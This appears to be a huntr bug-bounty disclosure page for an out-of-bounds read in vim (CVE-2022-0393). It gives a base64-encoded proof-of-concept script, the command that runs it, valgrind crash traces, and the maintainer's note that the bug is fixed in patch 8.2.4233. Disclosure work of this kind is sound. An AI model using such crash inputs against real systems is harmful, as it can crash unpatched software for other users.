huntr

Out-of-bounds Read in vim/vim

0

✓ Valid Reported on Jan 25th 2022

Description

Out of bound 1 byte read in vim.
commit : 06b77229ca704d00c4f138ed0377556e54d5851f

Proof of Concept

```
$ echo -ne "c2lsMG5vcm0WcTAHMA==" | base64 -d > minimized_poc

# valgrind
$ ./vg-in-place -s ./vim -u NONE -i NONE -n -X -Z -e -s -S ./minimized_poc

==3442167== Invalid read of size 1
==3442167==    at 0x4842646: strlen (vg_replace_strmem.c:494)
==3442167==    by 0x1FFD1F: delete_buff_tail (getchar.c:255)
==3442167==    by 0x2017AE: ungetchars (getchar.c:1350)
==3442167==    by 0x263B20: normal_cmd (normal.c:1065)
==3442167==    by 0x1D465B: exec_normal (ex_docmd.c:8629)
==3442167==    by 0x1D459F: exec_normal_cmd (ex_docmd.c:8592)
==3442167==    by 0x1D43AD: ex_normal (ex_docmd.c:8510)
==3442167==    by 0x1C945C: do_one_cmd (ex_docmd.c:2567)
==3442167==    by 0x1C66E7: do_cmdline (ex_docmd.c:993)
==3442167==    by 0x2F670E: do_source (scriptfile.c:1512)
==3442167==    by 0x2F5B5A: cmd_source (scriptfile.c:1098)
==3442167==    by 0x2F5B9F: ex_source (scriptfile.c:1124)
==3442167==  Address 0x8 is not stack'd, malloc'd or (recently) free'd
==3442167==
==3442167==
==3442167== Process terminating with default action of signa
==3442167==    at 0x4A2755B: kill (syscall-template.S:78)
==3442167==    by 0x28FE95: may_core_dump (os_unix.c:3510)
```

Chat with us

```
==3442167==    by 0x28FE49: mch_exit (os_unix.c:3476)
==3442167==    by 0x40A23D: getout (main.c:1721)
==3442167==    by 0x25302A: preserve_exit (misc1.c:2194)
==3442167==    by 0x28E405: deathtrap (os_unix.c:1156)
==3442167==    by 0x4A2720F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so
==3442167==    by 0x4842645: strlen (vg_replace_strmem.c:494)
==3442167==    by 0x1FFD1F: delete_buff_tail (getchar.c:255)
==3442167==    by 0x2017AE: ungetchars (getchar.c:1350)
==3442167==    by 0x263B20: normal_cmd (normal.c:1065)
==3442167==    by 0x1D465B: exec_normal (ex_docmd.c:8629)
==3442167==
==3442167== HEAP SUMMARY:
==3442167==     in use at exit: 99,976 bytes in 455 blocks
==3442167==   total heap usage: 984 allocs, 529 frees, 209,822 bytes alloca
==3442167==
==3442167== LEAK SUMMARY:
==3442167==    definitely lost: 1,232 bytes in 1 blocks
==3442167==    indirectly lost: 0 bytes in 0 blocks
==3442167==      possibly lost: 0 bytes in 0 blocks
==3442167==    still reachable: 98,744 bytes in 454 blocks
==3442167==         suppressed: 0 bytes in 0 blocks
==3442167== Rerun with --leak-check=full to see details of leaked memory
==3442167==
==3442167== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
==3442167==
==3442167== 1 errors in context 1 of 1:
==3442167== Invalid read of size 1
==3442167==    at 0x4842646: strlen (vg_replace_strmem.c:494)
==3442167==    by 0x1FFD1F: delete_buff_tail (getchar.c:255)
==3442167==    by 0x2017AE: ungetchars (getchar.c:1350)
==3442167==    by 0x263B20: normal_cmd (normal.c:1065)
==3442167==    by 0x1D465B: exec_normal (ex_docmd.c:8629)
==3442167==    by 0x1D459F: exec_normal_cmd (ex_docmd.c:8592)
==3442167==    by 0x1D43AD: ex_normal (ex_docmd.c:8510)
==3442167==    by 0x1C945C: do_one_cmd (ex_docmd.c:2567)
==3442167==    by 0x1C66E7: do_cmdline (ex_docmd.c:993)
==3442167==    by 0x2F670E: do_source (scriptfile.c:1512)
==3442167==    by 0x2F5B5A: cmd_source (scriptfile.c:1098)
==3442167==    by 0x2F5B9F: ex_source (scriptfile.c:1124)
==3442167==  Address 0x8 is not stack'd, malloc'd or (recently) free'd
==3442167==
```

Chat with us

```
==3442167==
==3442167== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)


Segmentation fault
```

Occurrences

C getchar.c L255

CVE
CVE-2022-0393
(Published)

Vulnerability Type
CWE-125: Out-of-bounds Read

Severity
High (8.4)

Visibility
Public

Status
Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 638 times.

Chat with us

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

alkyne Choi modified the report 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar 10 months ago

Maintainer

Finally a nice short POC. I can reproduce it, fix coming soon.

Bram Moolenaar validated this vulnerability 10 months ago

alkyne Choi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago

Maintainer

Fixed with patch 8.2.4233

Bram Moolenaar marked this as fixed in **8.2** with commit **a4bc2d** 10 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

getchar.c#L255 has been validated ✓

Sign in to join this conversation

2022 © 418sec

Chat with us

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us